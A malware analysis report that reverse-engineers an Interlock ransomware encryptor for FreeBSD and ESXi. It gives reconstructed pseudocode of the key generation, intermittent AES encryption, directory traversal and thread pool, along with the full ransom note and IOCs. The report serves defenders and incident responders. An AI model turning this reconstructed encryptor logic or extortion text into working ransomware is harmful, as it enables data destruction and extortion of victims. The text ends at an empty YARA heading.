Interlock Ransomware: Deep Dive into a C-Based FreeBSD Encryptor
Disclaimer: This analysis was conducted for educational and defensive security research purposes only. The malware sample was analyzed in an isolated environment. No malicious activity was performed against any live systems.
Executive Summary
This report presents an in-depth reverse engineering analysis of an Interlock ransomware sample targeting FreeBSD systems. The sample is a statically-linked ELF 64-bit executable compiled from C source code, incorporating the LibTomCrypt cryptographic library and the FreeBSD libthr (POSIX threads) library directly into the binary.
Key findings include:
- Target platform: FreeBSD (evidenced by statically linked FreeBSD libthr/libc,
/usr/src/lib/libthr/debug paths, and FreeBSD-specific syscalls) - Hybrid encryption: RSA-4096 public key encryption for key wrapping + AES-256-CBC for file content encryption, with ChaCha20 PRNG for RSA operations
- Intermittent encryption: Only encrypts portions of files with increasing gaps (1MB, 2MB, 3MB…) for speed over thoroughness
- Multi-threaded: Producer-consumer model using N-1 CPU cores with a 30-slot work queue
- Weak key generation: Per-file AES keys generated using
rand()seeded withtime() ^ clock() ^ getCountProc()— a cryptographically weak PRNG, though multi-threaded consumption of therand()stream complicates seed-based recovery - VMware ESXi awareness: File exclusion list targets ESXi bootbank artifacts (
boot.cfg,.b00,.v00-.v07,.t00,.sf) to avoid bricking the hypervisor host while encrypting data - Self-deletion: Optional
-delflag removes the binary after encryption - No anti-analysis: Zero anti-debugging, anti-VM, or anti-sandbox techniques detected
- No C2 communication: Purely offline encryptor — no network callbacks or data exfiltration in the malware’s own call graph (though the statically linked libc does contain network-capable library code)
- Tor-based negotiation: Victims directed to
.onionportal with a unique company ID
Sample Overview
| Property | Value |
|---|---|
| SHA-256 | e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1 |
| File Type | ELF 64-bit LSB executable |
| Architecture | x86-64 (AMD64) |
| Target OS | FreeBSD |
| Compiler | C (likely Clang/GCC, FreeBSD toolchain) |
| Linking | Statically linked (no dynamic imports) |
| Binary Size | ~850 KB |
| Address Range | 0x400000 - 0x4D4B28 |
| Crypto Library | LibTomCrypt (embedded) |
| Threading | FreeBSD libthr (POSIX threads, statically linked) |
| File Extension | .interlock |
| Ransom Note | !__README__!.txt |
Sections
| Section | Size | Permissions | Entropy | Notes |
|---|---|---|---|---|
.text |
490.7 KB | R-X | 6.28 | Main code section — 1,702 functions |
.rodata |
74.7 KB | R– | 5.31 | Read-only data: strings, crypto tables, ransom note |
.data |
18.4 KB | RW- | 2.34 | Globals: RSA public key, exclusion lists, config |
.bss |
188.1 KB | RW- | 0.00 | Uninitialized data: thread state, crypto contexts |
.eh_frame |
54.7 KB | R– | 4.93 | Exception handling frames |
.eh_frame_hdr |
12.5 KB | R– | 5.65 | Exception handling index |
The binary is entirely self-contained with no external dependencies — a deliberate choice for maximum portability across FreeBSD-based systems. The ESXi-aware file exclusions suggest it is also intended to run on VMware ESXi hosts, though ESXi uses its own VMkernel (not a FreeBSD kernel) and only shares some FreeBSD userland heritage.
Execution Flow Overview

The ransomware follows a straightforward linear execution model:
_start
└─► main()
├─► initRand() — Seed PRNG
├─► params() — Parse command-line arguments
├─► threadInit() — Initialize crypto + spawn worker threads
├─► [encrypt target] — Based on CLI args:
│ ├─ pathFile set? → threadStart(pathFile) [single file]
│ ├─ pathDir set? → loopdir(pathDir) [directory tree]
│ └─ neither? → allLoop() → loopdir("/") [ENTIRE filesystem]
├─► waitThread() — Join all worker threads
├─► threadFree() — Cleanup crypto state + free resources
└─► removeme() — Self-delete if -del flag set
Dead Code: detach()
The binary contains a detach() function at 0x401C70 that daemonizes the process via the classic fork() → setsid() → redirect stdio to /dev/null pattern. However, detach() has zero callers in the current binary — it is dead code. This suggests the function was either used in an earlier version of the ransomware (e.g., for background execution) or is reserved for a deployment mode not active in this build. Its presence is noted for completeness but it has no runtime effect.
Command-Line Parameters
Figure 1: IDA Hex-Rays pseudocode for main() (top) and params() (bottom). Note params() returns early on -s/--system (lines 29-34), but main() ignores the return value and proceeds to threadInit() and encryption.

The binary accepts the following arguments, parsed by params() at 0x401D20:
| Flag | Long Form | Description |
|---|---|---|
-d |
--directory |
Encrypt a specific directory tree |
-f |
--file |
Encrypt a single file |
-del |
--delete |
Delete the binary after encryption completes |
-s |
--system |
Causes params() to return early, but main() ignores the return value — execution continues regardless. If no -d/-f was parsed before -s, the binary falls through to allLoop() and encrypts the entire filesystem. The intended semantics are unclear from static analysis alone. |
Each argument is preprocessed by formatArg() at 0x4025C0, which strips surrounding quotes and removes a single trailing slash or backslash from -d/-f operands. This normalizes operator-supplied paths (e.g., "/data/" becomes /data).
Default behavior: If neither -d nor -f is provided (or was not yet parsed when -s triggers an early return from params()), the ransomware calls allLoop() which invokes loopdir("/") — encrypting the entire filesystem starting from root.
PRNG Initialization
Figure 2: IDA Hex-Rays pseudocode for initRand() (top) and generateKey() (bottom), showing the weak rand()-based key generation. initRand() seeds with time ^ clock ^ getCountProc(), and generateKey() fills the 48-byte key buffer with rand() calls XORed with clock ^ filesize.

initRand() at 0x401C20 seeds the C standard library rand() function:
void initRand() {
time_t t = time(NULL);
clock_t c = clock();
int procs = getCountProc(); // counts /proc entries (running processes)
srand(procs ^ (t ^ c));
}
This seed has low entropy: time() gives second-resolution wall clock, clock() gives CPU time (near-zero at startup), and process count is enumerable. The implications are discussed in the Decryption Feasibility section.
/proc failure mode: getCountProc() returns -1 (cast to 0xFFFFFFFF as unsigned) if opendir("/proc") fails. On systems without procfs mounted (common on FreeBSD and ESXi), the seed degenerates to 0xFFFFFFFF ^ (time ^ clock), which is effectively ~(time ^ clock) — further reducing entropy and making the seed more predictable on those platforms.
Encryption Engine
Hybrid Encryption Scheme

Interlock employs a standard hybrid encryption model using LibTomCrypt:
- Per-file symmetric key: 48 random bytes generated for each file (32-byte AES key + 16-byte IV)
- RSA key wrapping: The 48-byte key material is encrypted with an embedded RSA-4096 public key
- AES-256-CBC: File content is encrypted using the per-file key
- Key blob appended: The RSA-encrypted key blob + 2-byte length field is appended to the file
RSA Key Loading
Figure 3: IDA Hex-Rays pseudocode for init_rsa(). Shows LibTomMath descriptor copy (line 8), ChaCha20 PRNG initialization via init_prng (line 11), CHC hash registration (line 16), and rsa_import loading the embedded public key from &KEY with KEY_LEN bytes (line 21).

init_rsa() at 0x401A80 initializes the cryptographic subsystem:
__int64 init_rsa() {
prng = malloc(0x4500); // ChaCha20 PRNG state
pKey = malloc(0x48); // RSA key structure
memcpy(<c_mp, <m_desc, 0x1A8); // LibTomMath descriptor
init_prng(prng, &prngIdx); // Register & seed ChaCha20 PRNG
register_hash(&chc_desc); // Register CHC hash
hashIdx = find_hash("chc_hash"); // Find hash index
rsa_import(&KEY, KEY_LEN, pKey); // Import embedded RSA public key
}
The embedded RSA public key at 0x4A15D0 is a 550-byte DER-encoded X.509 SubjectPublicKeyInfo structure:
- Wrapper: SubjectPublicKeyInfo with AlgorithmIdentifier OID
1.2.840.113549.1.1.1(rsaEncryption) - Key size: 4096 bits (512-byte modulus)
- Public exponent: 65537 (
0x10001) - Total DER size: 550 bytes (
0x226)
The ChaCha20 PRNG used for RSA padding operations is seeded with 40 bytes from rand() — inheriting the weak seed from initRand().
Per-File Key Generation
generateKey() at 0x402C80 creates the 48-byte key material for each file:
void* generateKey(int filesize, unsigned int keylen) { // keylen = 0x30 (48)
void* key = malloc(keylen + 10);
int clk = clock();
// First pass: fill with rand() output
for (int i = 0; i < keylen; i += 4)
*(uint32_t*)(key + i) = rand();
// Second pass: XOR with clock^filesize^rand()
for (int j = 0; j < keylen/4; j++)
*(uint32_t*)(key + j*4) += rand() ^ clk ^ filesize;
return key; // bytes[0:32] = AES key, bytes[32:48] = IV
}
Weakness: The per-file keys are derived entirely from rand() calls and deterministic values (clock(), filesize). Since rand() was seeded with a low-entropy value in initRand(), the PRNG state is theoretically predictable. However, rand() is a process-global function and generateKey() is called from multiple worker threads concurrently — the interleaving of rand() calls across threads is scheduler-dependent and non-deterministic, which significantly complicates any attempt to replay the key stream from a known seed.
RSA Key Wrapping
rsaCrypt() at 0x402B90 encrypts the 48-byte key material:
BYTE* rsaCrypt(char* key, uint64_t keylen, BYTE* outbuf, uint64_t* outlen) {
*outlen = 1280; // max output buffer
mutexLockRsa(); // Thread-safe RSA access
rsa_encrypt_key_ex(
key, keylen, // 48-byte plaintext key
outbuf, outlen, // encrypted output
NULL, 0, // no label
getPrng(), getPrngIdx(), // ChaCha20 PRNG
getHashIdx(), // CHC hash
1, // padding type = LTC_PKCS_1_OAEP
getKey() // RSA-4096 public key
);
mutexUnlockRsa();
return outbuf;
}
Key observations:
- OAEP padding (padding type
1=LTC_PKCS_1_OAEP) — the more secure padding mode - Mutex-protected: RSA operations are serialized across threads to protect the shared PRNG state
- On failure,
outlenis set to0xFFFFand the file is skipped (not encrypted)
AES-256-CBC Intermittent Encryption
Figure 4: IDA Hex-Rays pseudocode for cryptBlocks(). Key details: find_cipher("aes") and cbc_start with 0x20 (32-byte) key (line 51), cbc_setiv resets IV each chunk (line 64), 1MB max chunk reads (line 61), fseeko with growing gap (lines 72-75), and v38 += 0x100000 gap increment (line 78).

cryptBlocks() at 0x402D40 implements the actual file encryption with an intermittent pattern:
void cryptBlocks(FILE* fp, void* key, char* iv, int64_t filesize) {
int64_t chunk = min(filesize, 0x100000); // max 1MB per chunk
int64_t gap = 0x100000; // initial gap = 1MB
char* inbuf = malloc(chunk + 32);
char* outbuf = malloc(chunk + 32);
cbc_state* cbc = malloc(sizeof(cbc_state));
int cipher = find_cipher("aes");
cbc_start(cipher, iv, key, 32, 0, cbc); // AES-256, 32-byte key
int64_t remaining = filesize;
while (remaining > 0) {
size_t n = fread(inbuf, 1, min(chunk, remaining), fp);
cbc_setiv(iv, 16, cbc); // Reset IV each chunk!
cbc_encrypt(inbuf, outbuf, n, cbc);
fseeko(fp, -n, SEEK_CUR); // Seek back
fwrite(outbuf, 1, n, fp); // Overwrite with ciphertext
remaining -= n;
// Skip ahead by gap (intermittent encryption)
if (gap <= remaining)
fseeko(fp, gap, SEEK_CUR);
else
fseeko(fp, remaining, SEEK_CUR);
remaining -= gap;
gap += 0x100000; // Gap grows: 1MB, 2MB, 3MB...
}
cbc_done(cbc);
free(inbuf); free(outbuf); free(cbc);
}
Intermittent encryption pattern: The ransomware encrypts the first 1MB, skips 1MB, encrypts 1MB, skips 2MB, encrypts 1MB, skips 3MB, and so on. This dramatically speeds up encryption of large files (such as VM disk images) at the cost of leaving significant portions of data unencrypted — potentially allowing partial data recovery.
IV reuse: The same IV is reloaded for each chunk via cbc_setiv(), meaning every encrypted chunk uses the same key and IV. This is a cryptographic weakness in CBC mode — identical first plaintext blocks across chunks will produce identical first ciphertext blocks.
Cryptographic Parameters Summary
| Parameter | Value |
|---|---|
| Asymmetric Algorithm | RSA-4096 |
| RSA Padding | OAEP (PKCS#1 v2.1) |
| Symmetric Algorithm | AES-256-CBC |
| Key Size | 256-bit (32 bytes) |
| IV Size | 128-bit (16 bytes) |
| PRNG (RSA operations) | ChaCha20 (LibTomCrypt) |
| PRNG (Key generation) | rand() / srand() — weak |
| Hash (RSA/OAEP) | CHC (Cipher Hash Construction) using AES |
| Key Material Per File | 48 bytes (32 key + 16 IV) |
| Encryption Pattern | Intermittent — 1MB blocks with growing gaps |
File Processing Pipeline
Directory Traversal
loopdir() at 0x4012E0 implements an iterative (non-recursive) depth-first directory traversal using a manual stack:
void loopdir(char* path) {
void** dirStack = malloc(0x400); // Stack of DIR* pointers (128 entries)
int* lenStack = malloc(0x200); // Stack of name lengths
dirStack[0] = opendir(path);
int depth = 0;
int pathLen = strlen(path);
while (depth >= 0) {
struct dirent* entry;
while ((entry = readdir(dirStack[depth])) != NULL) {
// Build full path
path[pathLen] = '/';
strcat(path, entry->d_name);
stat(path, &st);
if (S_ISDIR(st.st_mode)) {
// Skip ".", "..", and excluded directories
if (is_dot_dir(entry) || checkExceptDir(entry->d_name))
continue;
// Push directory onto stack
depth++;
dirStack[depth] = opendir(path);
} else {
// Skip excluded files and zero-size files
if (checkExceptFile(entry->d_name) || st.st_size <= 0)
continue;
toThread(path); // Queue file for encryption
}
}
toNote(path); // Drop ransom note in current directory
closedir(dirStack[depth]);
depth--; // Pop back to parent
}
}
Key behaviors:
- Ransom note per directory:
toNote()writes!__README__!.txtinto every directory visited - Stat field gate: The decompilation shows a
<= 0check on astruct statfield (rendered asst_atim.tv_secby IDA). The FreeBSDstruct statlayout is not correctly modeled in this IDA database, so the exact field being checked is unresolved — it likely corresponds tost_sizebut this has not been confirmed by retyping the struct - No symlink following: Uses
stat()(notlstat()), so symlinks are followed to their targets
Implementation Limitations / Robustness
The codebase has several implementation weaknesses that may cause crashes or undefined behavior under certain conditions:
- Unbounded
strcpy/strcat:loopdir(),toThread(),threadMain(),startCrypt(), andtoNote()all usestrcpy()orstrcat()into fixed-size buffers (typically 1024 or 4096 bytes) with no length checks. File paths exceeding these limits will cause stack or heap buffer overflows, likely crashing the process. - Fixed directory stack depth:
loopdir()allocates a 128-entry stack forDIR*pointers (malloc(0x400)= 128 × 8-byte pointers) and a 512-byte stack for name lengths (malloc(0x200)= 128 × 4-byte ints). Directory trees deeper than 128 levels will write out of bounds with no depth check. - Fixed work queue capacity: The global queue (
globlQue) has 30 slots. There is a single producer thread (loopdir()on main) that throttles atqueueCount >= 20, and consumers decrement under a mutex. The design is crude but functionally bounded given the single-producer constraint. - No error handling on crypto init: If
init_rsa()returns a non-zero error code,threadInit()checks but effectively continues (jmp $+5falls through). A failed RSA import or PRNG initialization would leave the crypto context in an undefined state.
These limitations explain likely crash scenarios on hosts with deeply nested directory structures or very long file paths — which could result in partial encryption with some files left untouched.
File Selection Logic
Excluded File Extensions (13 entries)
Figure 5: IDA Hex-Rays pseudocode for checkExceptFile(). The function iterates over 13 entries in the exceptFile array (20 bytes each, line 14), performing a right-to-left suffix comparison against the filename (line 19). The exceptFile array at 0x4A1010 contains the ESXi bootbank extensions listed below.

checkExceptFile() at 0x4017B0 performs a suffix match against this list:
| Extension | Purpose |
|---|---|
boot.cfg |
ESXi boot configuration — defines kernel modules to load at boot |
.sf |
VMware swap file |
.b00 |
ESXi bootbank artifact — compressed kernel module/driver archive |
.v00 - .v07 |
ESXi bootbank artifacts — compressed VIB (vSphere Installation Bundle) payloads loaded by boot.cfg |
.t00 |
ESXi bootbank artifact — compressed tools/agent archive |
!__README__!.txt |
Own ransom note (avoid re-encryption) |
This exclusion list reveals ESXi awareness: the excluded files are all bootbank/kernel-module artifacts that ESXi loads during startup. By skipping these, the ransomware avoids bricking the hypervisor host — ensuring the system remains bootable (and the victim can see the ransom note) while data on the host is encrypted. Combined with the directory exclusion list that also includes Linux-specific entries (lib32, lib64, libx32, snap), the sample appears to be a FreeBSD-compiled encryptor with ESXi awareness, rather than exclusively ESXi-targeted.
Excluded Directories (24 entries)
checkExceptDir() at 0x4018D0 skips these directory names:
bin boot cdrom dev etc home lib lib32
lib64 libx32 lost+found media mnt opt proc
run root sbin snap srv sys tmp usr var
Notable: This is essentially the entire standard Linux/FreeBSD root directory structure. The ransomware skips all system directories, meaning it targets non-standard mount points — exactly where VM datastores, NFS mounts, and custom data directories would be found on an ESXi/FreeBSD server.
Custom Extension Check
checkExceptFileCastom() at 0x4016F0 also checks if a file already has the .interlock extension, preventing double-encryption.
On-Disk Mutation Order
Figure 6: IDA Hex-Rays pseudocode for startCrypt(). Shows the full per-file encryption sequence: checkExceptFileCastom for .interlock check (line 48), fopen in rb+ mode (line 50), fsize (line 53), generateKey with 0x30 bytes (line 56), addPaddingFile if not 16-byte aligned (line 60), rsaCrypt for key wrapping (line 64), RSA blob append via fwrite (line 76), in-place content encryption via cryptBlocks (line 79), and final __sys_rename to .interlock (line 85).

startCrypt() transforms each file in a specific sequence that matters for forensic analysis of interrupted runs:
- Open file in
rb+mode (read-write, no truncation) - Get file size via
fseeko/ftello - Generate 48-byte key material (
generateKey()) - Pad file to 16-byte boundary if needed (
addPaddingFile()— appends PKCS#7 padding bytes) - RSA-encrypt the 48-byte key material → ~512-byte blob
- Append the RSA blob + 2-byte length field to the end of the file (
fseekoto EOF,fwrite) - Seek back to offset 0, then encrypt content in-place (
cryptBlocks()— read, encrypt, seek back, write) - Close the file
- Rename to
original_name.interlock
If the process is interrupted (killed, crash, power loss), the file may be left in a partially transformed state:
- After step 6 but before step 7: the RSA blob is appended but content is still plaintext. Recovery requires removing the appended RSA blob + length field. Note: if the file was not originally 16-byte aligned, step 4 will have already appended PKCS#7 padding bytes to the content — those must also be stripped to fully restore the original file.
- During step 7: some chunks are encrypted, others are still plaintext, and the RSA blob is already appended
- After step 7 but before step 9: fully encrypted but still has the original filename
The rename in step 9 is atomic on most filesystems, so a file either has its original name (potentially partially transformed) or the .interlock name (fully transformed).
Encrypted File Format

+================================================================+
| Original file content (AES-256-CBC encrypted, intermittent) |
| [Possibly PKCS#7 padded to 16-byte alignment] |
+================================================================+
| RSA-4096 encrypted key blob (~512 bytes) |
| Contains: encrypted(AES-256 key[32] + CBC IV[16]) |
+================================================================+
| 2-byte length field (uint16, little-endian) |
| Value = size of RSA blob above |
+================================================================+
File renamed: original_name → original_name.interlock
To decrypt, the operator would:
- Read the last 2 bytes to get the RSA blob size
- Read the RSA blob from the end of the file
- Decrypt the RSA blob with the private key to recover AES key + IV
- Decrypt the file content using the recovered key material
Ransom Note Deployment
Figure 7: IDA Hex-Rays pseudocode for toNote(). Appends /!__README__!.txt to the directory path (line 3), opens for writing (line 5), writes 0xB03 bytes from the static NOTE_ARRAY buffer (line 10), then truncates the appended path suffix to restore the original directory path (line 9).

toNote() at 0x4031E0 drops a ransom note (!__README__!.txt, 0xB03 = 2819 bytes) in every directory traversed during encryption. The note is written from a static buffer NOTE_ARRAY embedded in the .data section at 0x4A1800.
Multi-Threaded Architecture

Thread Pool Configuration
threadInit() at 0x402890 creates the thread pool:
void threadInit() {
init_rsa(); // Initialize crypto
register_cipher(&aes_desc); // Register AES cipher
int numThreads = getMaxThread(); // sysconf(NPROCESSORS_ONLN) - 1
// Initialize mutexes
pthread_mutexattr_init(&mutAttr);
pthread_mutex_init(&queueMutex, &mutAttr);
pthread_mutex_init(&rsaMutex, &mutAttrRsa);
// Allocate work queue: 30 slots, each 1024 bytes
globlQue = malloc(0xF0); // 30 pointers
for (int i = 0; i < 30; i++)
globlQue[i] = malloc(0x400); // 1024-byte path buffer per slot
running = 1;
// Spawn worker threads
threads = malloc(8 * numThreads);
for (int i = 0; i < numThreads; i++)
pthread_create(&threads[i], NULL, threadMain, NULL);
}
- Thread count:
sysconf(_SC_NPROCESSORS_ONLN) - 1— uses all CPUs minus one (leaves one for the main/producer thread) - Queue capacity: 30 slots (hardcoded), each holding a file path up to 1024 bytes
Producer-Consumer Pattern
Producer (toThread() at 0x402B00):
void toThread(char* filepath) {
while (queueCount >= 20) // Back-pressure: wait if queue > 20 items
usleep(10000); // 10ms delay
pthread_mutex_lock(&queueMutex);
strcpy(globlQue[queueCount], filepath);
queueCount++;
pthread_mutex_unlock(&queueMutex);
}
Consumer (threadMain() at 0x4027A0):
void threadMain(void* arg) {
char* buf = malloc(0x400);
while (1) {
while (queueCount > 0) {
pthread_mutex_lock(&queueMutex);
if (queueCount > 0) {
queueCount--;
strcpy(buf, globlQue[queueCount]); // LIFO order!
pthread_mutex_unlock(&queueMutex);
threadStart(buf); // Encrypt file
} else {
pthread_mutex_unlock(&queueMutex);
}
}
if (!running) break; // Exit when main thread signals done
usleep(5000); // 5ms idle wait
}
free(buf);
}
Key observations:
- LIFO order: Files are processed in stack order (last-in, first-out), not FIFO
- Back-pressure at 20: Producer blocks when queue has 20+ items (not at capacity of 30), providing a buffer zone
- Polling-based: Workers use
usleep(5000)(5ms) busy-wait loop — not condition variables - Graceful shutdown: Main thread sets
running = 0, workers drain the queue and exit
Post-Encryption Activities
Self-Deletion
If the -del/--delete flag was provided, removeme() at 0x402280 simply calls:
void removeme(char* argv0) {
remove(argv0); // Delete the binary using its own path from argv[0]
}
This is a basic self-deletion mechanism — no secure wiping or multi-pass overwrite.
What Interlock Does NOT Do
Compared to more sophisticated ransomware families, this sample notably lacks:
- No shadow copy/snapshot deletion — no calls to destroy ZFS snapshots or backup volumes
- No process/service termination — does not kill database servers, VMs, or file-locking processes
- No persistence mechanisms — no cron jobs, init scripts, or rc.d entries
- No C2 communication — purely offline encryptor with no network callbacks
- No anti-analysis — zero anti-debugging, anti-VM, or anti-sandbox techniques
- No privilege escalation — runs with whatever privileges it’s given
- No log wiping — leaves system logs intact
- No wallpaper change — FreeBSD/server binary, no desktop environment expected
This strongly suggests the binary is a post-exploitation payload — the operator has already gained privileged access to the target system and handles data exfiltration, lateral movement, and persistence through other tools.
Ransom Note Analysis
The ransom note (2,819 bytes) stored at 0x4A1800:
INTERLOCK
CRITICAL SECURITY ALERT
To Whom It May Concern,
Your organization has experienced a serious security breach. Immediate action
is required to mitigate further risks. Here are the details:
THE CURRENT SITUATION
- Your systems have been infiltrated by unauthorized entities.
- Key files have been encrypted and are now inaccessible to you.
- Sensitive data has been extracted and is in our possession.
WHAT YOU NEED TO DO NOW
1. Contact us via our secure, anonymous platform listed below.
2. Follow all instructions to recover your encrypted data.
Access Point: http://ebhmkoohccl45qes[...]aqaid.onion/support/step.php
Use your unique Company ID: 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL
DO NOT ATTEMPT:
- File alterations: Renaming, moving, or tampering with files will lead to
irreversible damage.
- Third-party software: Using any recovery tools will corrupt the encryption
keys, making recovery impossible.
- Reboots or shutdowns: System restarts may cause key damage.
YOUR OPTIONS
#1. Ignore This Warning:
- In 96 hours, we will release or sell your sensitive data.
- Media outlets, regulators, and competitors will be notified.
- Your decryption keys will be destroyed, making recovery impossible.
#2. Cooperate With Us:
- You will receive the only working decryption tool for your files.
- We will guarantee the secure deletion of all exfiltrated data.
- All traces of this incident will be erased from public and private records.
- A full security audit will be provided to prevent future breaches.
CONTACT US SECURELY
1. Install the TOR browser via https://torproject.org
2. Visit our anonymous contact form at:
http://ebhmkoohccl45qes[...]aqaid.onion/support/step.php
3. Use your unique Company ID: 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL
Analysis:
- 96-hour deadline: Standard double-extortion pressure tactic
- Hardcoded Company ID:
6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL— this is baked into the binary, meaning this sample is customized for a specific victim or campaign - Claims data exfiltration: “Sensitive data has been extracted” — but the malware’s own call graph contains no network operations, confirming exfiltration happens via separate tooling
- Professional language: Uses corporate-security framing rather than aggressive threats
- Single .onion endpoint: One Tor hidden service for all victim communication
Build Environment & Compilation Analysis
FreeBSD Origin
The binary contains debug paths that reveal it was compiled on or against a FreeBSD system:
/usr/src/lib/libthr/thread/thr_mutex.c
/usr/src/lib/libthr/thread/thr_kern.c
/usr/src/lib/libthr/thread/thr_init.c
/usr/src/lib/libthr/thread/thr_cond.c
/usr/src/lib/libthr/thread/thr_attr.c
/usr/src/lib/libthr/thread/thr_exit.c
/usr/src/lib/libthr/thread/thr_umtx.c
/usr/src/lib/libthr/thread/thr_spinlock.c
/usr/src/lib/libc/stdio/xprintf.c
/usr/src/lib/libc/stdio/xprintf_vis.c
These are standard FreeBSD source paths for the userland threading and C standard library, confirming static linking against FreeBSD system libraries.
Code Quality Observations
- Typos in function names:
checkExceptFileCastom(should be “Custom”),reversslash(should be “reverseSlash”),checkSpase(should be “checkSpace”) — suggests a non-native English speaker as the developer - Simple C code: No C++ features, no complex abstractions — straightforward procedural style
- Manual stack-based recursion:
loopdir()implements directory traversal iteratively with explicit stack management rather than using recursive calls - No obfuscation: All function names are meaningful and descriptive — no string encryption, no control flow flattening
- Mixed coding standards: Some functions use camelCase (
threadMain), others use lowercase (loopdir) — possibly multiple developers or evolved codebase
Library Dependencies (Statically Linked)
| Library | Purpose |
|---|---|
| LibTomCrypt | Cryptographic primitives (RSA, AES, ChaCha20, DER/ASN.1) |
| LibTomMath | Big integer arithmetic for RSA operations |
| FreeBSD libthr | POSIX threads implementation |
| FreeBSD libc | Standard C library (stdio, stdlib, string, etc.) |
Decryption Feasibility
The use of rand()/srand() for per-file key generation is a notable weakness in the encryption scheme, though practical exploitation is non-trivial:
- Low-entropy seed:
srand(getCountProc() ^ (time(NULL) ^ clock()))— all three components are deterministic or low-entropy:time(NULL): Second-resolution timestamp — can be narrowed from file modification timesclock(): CPU time since start — nearly zero for a freshly launched processgetCountProc(): Number of running processes — typically 50-500 on a server
-
Multi-threaded complication: While the seed space is small (potentially brute-forceable),
rand()is a process-global function called fromgenerateKey()across multiple concurrent worker threads. The interleaving ofrand()calls between threads depends on OS scheduler behavior, thread timing, and lock contention. This means that even with the correct seed, reproducing the exact sequence ofrand()values consumed by each thread (and thus each file’s key) would require knowing the precise thread scheduling order — information that is not recorded and not deterministic. -
ChaCha20 PRNG also affected: The ChaCha20 PRNG used for RSA-OAEP padding is seeded with 40 bytes from
rand()duringinit_prng(), which runs before worker threads are spawned. This seeding is single-threaded and deterministic given the seed, but the PRNG is only used for RSA padding randomness — it does not affect the per-file AES keys. - Practical assessment: The weak PRNG is a real design flaw that a more robust ransomware would avoid (e.g., by using
/dev/urandom). However, characterizing it as directly exploitable for key recovery would overstate the static evidence. Successful exploitation would require either: (a) a single-threaded scenario (only 1 CPU), or (b) reconstruction of the exact thread scheduling interleave — a problem that may be tractable in specific conditions but is not guaranteed.
RSA-4096 key wrapping: Regardless of the PRNG weakness, each file’s key material is also encrypted under the embedded RSA-4096 public key. Without the corresponding private key, the per-file AES keys cannot be recovered through the normal decryption path. The PRNG weakness is only relevant if:
- The attacker refuses to provide a decryptor
- Law enforcement seizes infrastructure but not the private key
- A researcher can reconstruct both the seed and the thread interleave
Intermittent encryption: Even without decryption, significant portions of large files remain unencrypted due to the growing-gap pattern. For a 10GB VM disk image, a substantial fraction of the file content is left in plaintext — enabling partial data recovery of unencrypted regions.
A Note on Library Artifacts vs Malware Logic
This binary is statically linked, meaning the entire FreeBSD libc, libthr, and LibTomCrypt codebases are embedded in the executable. Many strings, file paths, and function references visible in the binary belong to these libraries — not to the ransomware author’s code. Analysts should be careful not to attribute library behavior to the malware.
Notable library artifacts that are not malware IOCs:
/tmp/SEMD— referenced in the string table with zero cross-references; this is a FreeBSD libc artifact (likely related tosem_open), not a semaphore file created by the ransomware/dev/urandom— referenced by LibTomMath’ss_mp_rand_platform()function, not by the ransomware’s key generation path (which usesrand()/srand())/etc/malloc.conf,/var/run/log*,/dev/console,/usr/share/locale— all FreeBSD libc internal paths- The numerous
_pthread_*and_thr_*functions — FreeBSD libthr, not malware threading code /usr/src/lib/libthr/thread/*.cand/usr/src/lib/libc/stdio/*.c— compile-time debug paths from the FreeBSD build environment
Only strings with confirmed cross-references from the ransomware’s own functions (main, params, loopdir, startCrypt, toNote, etc.) should be treated as IOCs.
Indicators of Compromise
File Indicators
| Indicator | Value |
|---|---|
| SHA-256 | e86bb8361c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1 |
| Encrypted file extension | .interlock |
| Ransom note filename | !__README__!.txt |
| Ransom note size | 2,819 bytes (0xB03) |
Network Indicators
| Indicator | Value |
|---|---|
| Tor negotiation portal | http://ebhmkoohccl45qesdbvrjqtyro2hmhkmh6vkyfyjjzfllm3ix72aqaid.onion/support/step.php |
| Tor download reference | https://torproject.org |
| Victim Company ID | 6ABHZ2O95ATC7EPVLQSU6DAN4XRLYTDU782JWPSSBXJVPTZY88KKPFYWCXKL |
Host-Based Indicators
| Indicator | Description |
|---|---|
Mass .interlock file renaming |
Files renamed with .interlock suffix |
!__README__!.txt in multiple directories |
Ransom note dropped in every traversed directory |
| High CPU utilization (N-1 cores) | Multi-threaded encryption saturates available CPUs |
/proc directory enumeration |
getCountProc() reads /proc to count processes |
| File size changes | RSA blob + 2-byte length appended to each encrypted file |
Strings of Interest (Malware Logic Only)
The following strings are confirmed referenced by the ransomware’s own code (not library artifacts):
.interlock — encrypted file extension (startCrypt)
!__README__!.txt — ransom note filename (toNote, checkExceptFile)
/!__README__!.txt — ransom note path suffix (toNote)
rb+ — fopen mode for encryption (startCrypt)
wb — fopen mode for ransom note (toNote)
aes — cipher name for find_cipher() (cryptBlocks)
chc_hash — hash name for find_hash() (init_rsa)
-d / --directory — CLI flag (params)
-f / --file — CLI flag (params)
-del / --delete — CLI flag (params)
-s / --system — CLI flag (params)
/proc — process enumeration (getCountProc)
opendir(/proc) — error string (getCountProc)
/dev/null — referenced by detach(), which is dead code (see below)
Not malware IOCs (library artifacts with zero or library-only xrefs): /tmp/SEMD (FreeBSD libc), /dev/urandom (LibTomMath), /etc/malloc.conf (jemalloc), /var/run/log (syslog).
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Details |
|---|---|---|---|
| Discovery | T1082 | System Information Discovery | sysconf(_SC_NPROCESSORS_ONLN) to enumerate CPU count for thread pool sizing |
| Discovery | T1057 | Process Discovery | getCountProc() enumerates /proc directory entries to count running processes (used for PRNG seeding) |
| Impact | T1486 | Data Encrypted for Impact | AES-256-CBC + RSA-4096 hybrid encryption with intermittent pattern; files renamed to .interlock; ransom note dropped per directory |
| Defense Evasion | T1070.004 | File Deletion | Self-deletion of the binary via remove(argv[0]) when -del flag is set |
| Command and Control | — | — | None — purely offline encryptor |
| Exfiltration | — | — | None in this binary — handled by separate tooling |
Mappings intentionally omitted: The binary is a native ELF executable, not a script, so T1059.004 (Unix Shell) does not apply. The binary is not obfuscated (symbols and strings are plaintext), so T1027 does not apply. The CLI flags and file exclusions are operational scope controls, not execution guardrails in the ATT&CK sense (T1480).
YARA Rules
